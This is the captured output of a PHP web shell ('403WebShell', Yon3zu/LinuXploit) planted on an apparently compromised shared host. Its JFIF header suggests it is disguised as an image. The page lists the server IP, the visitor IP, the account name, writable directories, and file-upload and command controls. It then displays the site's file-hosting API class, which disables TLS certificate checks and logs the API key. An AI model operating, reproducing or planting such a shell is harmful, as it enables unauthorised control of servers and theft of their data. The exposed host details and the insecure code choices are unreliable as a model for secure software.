����JFIF��x�x����'403WebShell
403Webshell
Server IP : 66.29.137.217  /  Your IP : 18.188.0.144
Web Server : LiteSpeed
System : Linux premium294.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : gltevjme ( 1095)
PHP Version : 7.0.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/gltevjme/greatlifehub.ng/glfiles.name.ng/app/services/api/v2/endpoint/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/gltevjme/greatlifehub.ng/glfiles.name.ng/app/services/api/v2/endpoint/ApiFile.class.php
<?php

/*
 * API endpoint class
 */

namespace App\Services\Api\V2\Endpoint;

use App\Services\Api\V2\ApiV2;
use App\Core\Database;
use App\Helpers\CoreHelper;
use App\Helpers\FileHelper;
use App\Helpers\FileFolderHelper;
use App\Helpers\LogHelper;
use App\Models\File;

class ApiFile extends ApiV2
{

    public function __construct($request, $origin)
    {
        parent::__construct($request);

        // all api requests require the access_token and account_id (apart from the initial authorize
        if (!array_key_exists('access_token', $this->request) || (strlen($this->request['access_token']) == 0)) {
            throw new \Exception('Please provide the access_token param.');
        } elseif (!array_key_exists('account_id', $this->request) || (strlen($this->request['account_id']) == 0)) {
            throw new \Exception('Please provide the account_id param.');
        }

        // validate access_token and account_id
        $rs = $this->_validateAccessToken($this->request['access_token'], $this->request['account_id']);
        if (!$rs) {
            throw new \Exception('Could not validate access_token and account_id, please reauthenticate or try again.');
        }
    }

    /**
     * endpoint action
     */
    protected function upload()
    {
        // check for demo mode
        if (CoreHelper::inDemoMode()) {
            throw new \Exception('This API feature is not available in demo mode.');
        }

        // validation
        $uploadedFile = $_FILES['upload_file'];
        if (!is_array($uploadedFile)) {
            throw new \Exception('Did not receive uploaded file.');
        }

        // check filesize
        if ($uploadedFile['size'] == 0) {
            throw new \Exception('Filesize received was zero.');
        }

        // check for curl
        if (!function_exists('curl_init')) {
            throw new \Exception('PHP Curl module does not exist on your server/web '
                .'hosting. It will need to be enable to use this upload feature.');
        }

        // load users username for the upload api
        $db = Database::getDatabase();
        $username = $db->getValue('SELECT username '
            .'FROM users '
            .'WHERE id = :id '
            .'LIMIT 1', [
                'id' => (int)$this->request['account_id'],
            ]
        );

        // load api key
        $apiKey = $db->getValue("SELECT apikey "
            ."FROM users "
            ."WHERE id = :id "
            ."LIMIT 1", [
            'id' => (int)$this->request['account_id'],
        ]);
        if (!$apiKey) {
            // no api key so add it
            $apiKey = MD5(microtime().(int)$this->request['account_id'].microtime());
            $db->query('UPDATE users '
                .'SET apikey = :apikey '
                .'WHERE id = :id '
                .'AND username = :username '
                .'LIMIT 1', [
                'apikey' => $apiKey,
                'id' => (int)$this->request['account_id'],
                'username' => $username,
            ]);
        }

        // prepare the params
        $post = [];
        $post['folderId'] = (int)$this->request['folder_id'] == 0 ? -1 : (int)$this->request['folder_id'];
        $post['api_key'] = $apiKey;
        $post['username'] = $username;
        $post['action'] = 'upload';
        $post['files'] = curl_file_create($uploadedFile['tmp_name'], null, $uploadedFile['name']);

        // simulate posting the file using curl
        $serverUploadUrl = FileHelper::getUploadUrl();
        if (!$serverUploadUrl) {
            // no available upload servers
            $error = 'No available upload servers, exiting.';
            LogHelper::error($error);

            throw new \Exception($error);
        }

        $url = $serverUploadUrl.'/api_upload_handler';
        LogHelper::info('Curl request to: '.$url);
        LogHelper::info('Curl params: '.print_r($post, true));

        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_POST, 1);
        curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
        curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 60);
        curl_setopt($ch, CURLOPT_BINARYTRANSFER, true);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
        curl_setopt($ch, CURLOPT_VERBOSE, 1);
        //curl_setopt($ch, CURLOPT_HEADER, 1);
        //$headers = array(
        //    'Transfer-Encoding: chunked',
        //);
        //curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
        //curl_setopt($ch, CURLOPT_PROGRESSFUNCTION, 'curlProgress');
        curl_setopt($ch, CURLOPT_NOPROGRESS, true);
        //curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'PUT');
        $msg = curl_exec($ch);
        $error = '';

        if (curl_errno($ch)) {
            $error = 'Error uploading file to '.$url.': '.curl_error($ch);
        } else {
            // try to read the json response
            if (strlen($msg) == 0) {
                $error = 'Error uploading file. No response received from: '.$url;
            } else {
                $responseArr = json_decode($msg, true);
                if (is_array($responseArr)) {
                    // got data as array
                    if (isset($responseArr[0]['error'])) {
                        $error = 'Error on: '.$url.'. '.$responseArr[0]['error'];
                    }
                } else {
                    $error = 'Failed reading response from: '.$url.'. Response: '.$msg;
                }
            }
        }

        // close curl
        curl_close($ch);

        // error
        if (strlen($error)) {
            // log
            LogHelper::error($error);

            throw new \Exception($error);
        }

        return ['response' => 'File uploaded', 'data' => $responseArr];
    }

    /**
     * endpoint action
     */
    protected function info()
    {
        // validate file_id
        if (!array_key_exists('file_id', $this->request) || (strlen($this->request['file_id']) == 0)) {
            throw new \Exception('Please provide the file_id param.');
        }

        $db = Database::getDatabase();

        // make sure the file id belongs to the current user
        $rs = (int)$db->getValue('SELECT COUNT(id) AS total FROM file WHERE userId = :user_id AND id = :file_id LIMIT 1',
            ['user_id' => $this->request['account_id'], 'file_id' => $this->request['file_id']]);
        if (!$rs) {
            throw new \Exception('Could not find file based on file_id.');
        }

        // load info
        $fileDetails = $db->getRow('SELECT file.id, originalFilename AS filename, shortUrl, fa.file_type AS fileType, extension, fa.file_size AS fileSize, uploadedIP, uploadedDate, '
            .'status AS file_status, visits AS downloads, lastAccessed, folderId, keywords, isPublic, uploadSource, description FROM file '
            .'LEFT JOIN file_artifact fa ON file.id = fa.file_id AND file_artifact_type = "primary" '
            .'WHERE file.id = :file_id AND userId = :user_id LIMIT 1',
            ['user_id' => (int)$this->request['account_id'], 'file_id' => (int)$this->request['file_id']],
            \PDO::FETCH_ASSOC);
        if ($fileDetails) {
            // append file urls
            $file = File::loadOneById((int)$this->request['file_id']);
            if ($file) {
                $fileDetails['url_file'] = $file->getShortUrlPath();
                $fileDetails['url_file_info'] = $file->getShortInfoUrl();
                $fileDetails['url_file_stats'] = $file->getStatisticsUrl();
                $fileDetails['url_file_delete'] = $file->getDeleteUrl();
            }
        }

        return ['data' => $fileDetails];
    }

    /**
     * endpoint action
     */
    protected function download()
    {
        // validate file_id
        if ((!array_key_exists('file_id', $this->request) || (strlen($this->request['file_id']) == 0))
            && (!array_key_exists('short_url', $this->request) || (strlen($this->request['short_url']) == 0))) {
            throw new \Exception('Please provide the file_id param.');
        }

        $db = Database::getDatabase();

        // prepare SQL
        $replacements = [
            'user_id' => $this->request['account_id'],
        ];
        $sQL = 'SELECT id '
            .'FROM file '
            .'WHERE userId = :user_id '
            .'AND ';
        if (!empty($this->request['file_id'])) {
            $sQL .= 'id = :file_id ';
            $replacements['file_id'] = $this->request['file_id'];
        } else {
            $sQL .= 'shortUrl = :short_url ';
            $replacements['short_url'] = $this->request['short_url'];
        }
        $sQL .= 'LIMIT 1';

        // make sure the file belongs to the current user
        $fileId = (int)$db->getValue($sQL, $replacements);
        if (!$fileId) {
            throw new \Exception('Could not find file based on file_id or short_url.');
        }

        // create download url for file
        $fileObj = File::loadOneById($fileId);
        $downloadToken = $fileObj->generateDirectDownloadToken(0, 0, true, true, false);
        if (!$downloadToken) {
            // fail
            throw new \Exception('Could not generate download url.');
        }

        // compile full url
        $downloadUrl = $fileObj->getFullShortUrl(true).'?'.File::DOWNLOAD_TOKEN_VAR.'='.$downloadToken;

        return [
            'data' => [
                'file_id' => $fileObj->id,
                'short_url' => $fileObj->shortUrl,
                'filename' => $fileObj->originalFilename,
                'download_url' => $downloadUrl,
            ],
        ];
    }

    /**
     * endpoint action
     */
    protected function edit()
    {
        // check for demo mode
        if (CoreHelper::inDemoMode()) {
            throw new \Exception('This API feature is not available in demo mode.');
        }

        // validate file_id
        if (!array_key_exists('file_id', $this->request) || (strlen($this->request['file_id']) == 0)) {
            throw new \Exception('Please provide the file_id param.');
        }

        $db = Database::getDatabase();

        // make sure the file id belongs to the current user
        $rs = (int)$db->getValue('SELECT COUNT(id) AS total FROM file WHERE userId = :user_id AND id = :file_id LIMIT 1',
            ['user_id' => $this->request['account_id'], 'file_id' => $this->request['file_id']]);
        if (!$rs) {
            throw new \Exception('Could not find file based on file_id.');
        }

        // update item
        $params = [];
        $sQLClause = [];
        if (array_key_exists('filename', $this->request) && (strlen($this->request['filename']) > 0)) {
            $params['originalFilename'] = trim($this->request['filename']);
            $sQLClause[] = 'originalFilename = :originalFilename';

            // ensure the extension is correct
            $parts = explode(".", trim($this->request['filename']));
            $lastPart = end($parts);
            $extension = strtolower($lastPart);

            $params['extension'] = $extension;
            $sQLClause[] = 'extension = :extension';
        }

        if (array_key_exists('folder_id', $this->request) && (strlen($this->request['folder_id']) > 0)) {
            // make sure user owns folder_id
            $canUpdate = false;
            if (strtolower($this->request['folder_id']) != 'null') {
                $folderListing = FileFolderHelper::loadAllActiveForSelect((int)$this->request['account_id']);
                if (isset($folderListing[$this->request['folder_id']])) {
                    $canUpdate = true;
                }
            } else {
                $canUpdate = true;
            }

            if ($canUpdate === true) {
                $params['folderId'] = $this->request['folder_id'] == 'null' ? null : (int)$this->request['folder_id'];
                $sQLClause[] = 'folderId = :folderId';
            }
        }

        // update the item
        if (count($params)) {
            // prep sql
            $sQL = 'UPDATE file SET '.implode(', ', $sQLClause).' '
                .'WHERE id = :file_id AND userId = :user_id LIMIT 1';

            // update params
            $params['user_id'] = (int)$this->request['account_id'];
            $params['file_id'] = (int)$this->request['file_id'];

            // execute sql
            $rs = $db->query($sQL, $params);

            // check for artifact updates
            if (array_key_exists('fileType', $this->request) && (strlen($this->request['fileType']) > 0)) {
                // prep sql
                $sQL = 'UPDATE file_artifact SET file_type = :file_type '
                    .'WHERE file_id = :file_id AND file_artifact_type = "primary" AND file_id IN (SELECT id FROM file WHERE userId = :user_id) LIMIT 1';

                // update params
                $params['file_type'] = trim($this->request['fileType']);
                $params['user_id'] = (int)$this->request['account_id'];
                $params['file_id'] = (int)$this->request['file_id'];

                // execute sql
                $rs = $db->query($sQL, $params);
            }
        }

        // return the updated file item
        return array_merge(['response' => 'File successfully updated.'], $this->info());
    }

    /**
     * endpoint action
     */
    protected function delete()
    {
        // check for demo mode
        if (CoreHelper::inDemoMode()) {
            throw new \Exception('This API feature is not available in demo mode.');
        }

        // validate file_id
        if (!array_key_exists('file_id', $this->request) || (strlen($this->request['file_id']) == 0)) {
            throw new \Exception('Please provide the file_id param.');
        }

        $db = Database::getDatabase();

        // make sure the file id belongs to the current user
        $rs = (int)$db->getValue('SELECT COUNT(id) AS total FROM file WHERE userId = :user_id AND id = :file_id LIMIT 1',
            ['user_id' => $this->request['account_id'], 'file_id' => $this->request['file_id']]);
        if (!$rs) {
            throw new \Exception('Could not find file based on file_id.');
        }

        // load the file object
        $file = File::loadOneById((int)$this->request['file_id']);

        // double check that the owner matches the current user
        if ($file->userId != (int)$this->request['account_id']) {
            // fail
            throw new \Exception('Failed deleting the file.');
        }

        // remove the file
        $file->trashByUser();

        // return the updated file item
        return array_merge(['response' => 'File successfully set as deleted.'], $this->info());
    }

    /**
     * endpoint action
     */
    protected function move()
    {
        // check for demo mode
        if (CoreHelper::inDemoMode()) {
            throw new \Exception('This API feature is not available in demo mode.');
        }

        // validate file_id
        if (!array_key_exists('file_id', $this->request) || (strlen($this->request['file_id']) == 0)) {
            throw new \Exception('Please provide the file_id param.');
        }

        $db = Database::getDatabase();

        // make sure the file id belongs to the current user
        $rs = (int)$db->getValue('SELECT COUNT(id) AS total FROM file WHERE userId = :user_id AND id = :file_id LIMIT 1',
            ['user_id' => $this->request['account_id'], 'file_id' => $this->request['file_id']]);
        if (!$rs) {
            throw new \Exception('Could not find file based on file_id.');
        }

        // validation
        if (!array_key_exists('new_parent_folder_id',
                $this->request) || (strlen($this->request['new_parent_folder_id']) == 0)) {
            throw new \Exception('Please provide the new_parent_folder_id param.');
        }

        // make sure the user owns the new folder
        $canUpdate = false;
        if (strtolower($this->request['new_parent_folder_id']) != 'null') {
            $folderListing = FileFolderHelper::loadAllActiveForSelect((int)$this->request['account_id']);
            if (isset($folderListing[$this->request['new_parent_folder_id']])) {
                $canUpdate = true;
            }
        } else {
            $canUpdate = true;
        }

        if ($canUpdate === false) {
            throw new \Exception('Could not find the destination folder id defined by new_parent_folder_id.');
        }

        // load the file object
        $file = File::loadOneById((int)$this->request['file_id']);

        // double check that the owner matches the current user
        if ($file->userId != (int)$this->request['account_id']) {
            // fail
            throw new \Exception('Failed moving the file.');
        }

        // move the file
        $file->updateFolder($this->request['new_parent_folder_id']);

        // return the updated file item
        return array_merge(['response' => 'File successfully moved.'], $this->info());
    }

    /**
     * endpoint action
     */
    protected function copy()
    {
        // check for demo mode
        if (CoreHelper::inDemoMode()) {
            throw new \Exception('This API feature is not available in demo mode.');
        }

        // validate file_id
        if (!array_key_exists('file_id', $this->request) || (strlen($this->request['file_id']) == 0)) {
            throw new \Exception('Please provide the file_id param.');
        }

        $db = Database::getDatabase();

        // make sure the file id belongs to the current user
        $rs = (int)$db->getValue('SELECT COUNT(id) AS total FROM file WHERE userId = :user_id AND id = :file_id LIMIT 1',
            ['user_id' => $this->request['account_id'], 'file_id' => $this->request['file_id']]);
        if (!$rs) {
            throw new \Exception('Could not find file based on file_id.');
        }

        // validation
        if (!array_key_exists('copy_to_folder_id',
                $this->request) || (strlen($this->request['copy_to_folder_id']) == 0)) {
            throw new \Exception('Please provide the copy_to_folder_id param.');
        }

        // make sure the user owns the new folder
        $canUpdate = false;
        if (strtolower($this->request['copy_to_folder_id']) != 'null') {
            $folderListing = FileFolderHelper::loadAllActiveForSelect((int)$this->request['account_id']);
            if (isset($folderListing[$this->request['copy_to_folder_id']])) {
                $canUpdate = true;
            }
        } else {
            $canUpdate = true;
        }

        if ($canUpdate === false) {
            throw new \Exception('Could not find the destination folder id defined by copy_to_folder_id.');
        }

        // load the file object
        $file = File::loadOneById((int)$this->request['file_id']);

        // double check that the owner matches the current user
        if ($file->userId != (int)$this->request['account_id']) {
            // fail
            throw new \Exception('Failed copying the file.');
        }

        $rs = [];
        $rs['original_file'] = $this->info();

        // copy the file
        $newFile = $file->duplicateFile(['folderId' => $this->request['copy_to_folder_id']]);
        $this->request['file_id'] = $newFile->id;
        $rs['new_file'] = $this->info();

        // return the updated file item
        return array_merge(['response' => 'File successfully copied.'], $rs);
    }

}

Youez - 2016 - github.com/yon3zu
LinuXploit